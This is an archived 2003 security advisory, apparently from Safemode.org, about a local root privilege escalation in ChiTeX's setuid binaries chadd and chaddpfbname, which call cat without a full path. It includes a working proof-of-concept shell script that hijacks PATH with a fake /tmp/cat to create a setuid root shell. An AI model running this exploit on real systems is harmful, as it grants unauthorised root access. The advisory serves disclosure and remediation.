what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

safemode-adv-chitext.txt

safemode-adv-chitext.txt
Posted Apr 3, 2003
Authored by Zillion | Site safemode.org

ChiTeX, the utility used to put Chinese Big5 codes in TeX/LaTeX documents, contains two setuid root binaries that execute cat without using an explicit path allowing an attacker to easily gain root privileges.

tags | exploit, root
SHA-256 | 1c2236c651538e4aaaa0b8f89bbc85cd212f6cf79eed7e9609ddef1998071e56

safemode-adv-chitext.txt

Change Mirror Download

==================================================================
Safemode.org security advisory: CHITEX
==================================================================

Introduction:
=============

ChiTeX can be used to put Chinese Big5 codes in TeX/LaTeX documents.
Operations with the ChiTeX are just like the English TeX, apart
from some special instructions in it. For more information about
this package, refer to the homepage of the author Chen Hung-Yih:

http://www.math.ncu.edu.tw/~yih/intro.htm (Chinese)

The ChiTeX packages contains 2 setuid root binaries that execute
cat without using an explicit path. This bug can allow local users
to gain root level privileges.

Affected versions:
==================

ChiTeX version 6.1.2p7.8-1 was tested to be vulnerable. It is very
likely that this issue also affects other, especially older,
versions of ChiTeX.

Problem description:
====================

The setuid root binaries chadd and chaddpfbname use the following
system() functions:

chadd:
system("cat special.tmp >> $TEXMF/fontname/special.map");

chaddpfbname:
system("cat psfontsmap@ >> $psfontsmap");
system("cat psfontsmap@ >> $pdftexmap");

As you can see, cat is executed without using a full path. If a user
creates a file called 'cat' in /tmp, adds /tmp to $PATH and then
executes chadd or chaddpfbname, the cat file will be executed with
root privileges.

A user can also create a file named 'psfontsmap@' and let chaddpfbname
append this file's content to any file defined in the $pdftexmap
or $psfontsmap environment variables.

The script below will demonstrate this vulnerability by creating
a setuid root shell and the file /tmp/owned (with 'owned' as content)

--- start ---

#!/bin/sh
echo 'owned' > 'psfontsmap@'
export psfontsmap=/tmp/owned
echo "/bin/cp /bin/sh /tmp/.sh" > /tmp/cat
echo "/bin/chmod 4755 /tmp/.sh" >> /tmp/cat
chmod +x /tmp/cat
cd /tmp
export PATH="/tmp:$PATH"
/usr/local/bin/chaddpfbname
/tmp/.sh -c id
/tmp/.sh

--- stop ---

Note this is simple proof of concept code: you might have to change the path
to chaddpfbname.

Fix information:
================

The author, professor Chen Hung-Yih, was been notified about this
issue several weeks ago but unfortunately, did not release a fix
yet.

Remove the setuid permissions from the binaries.
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close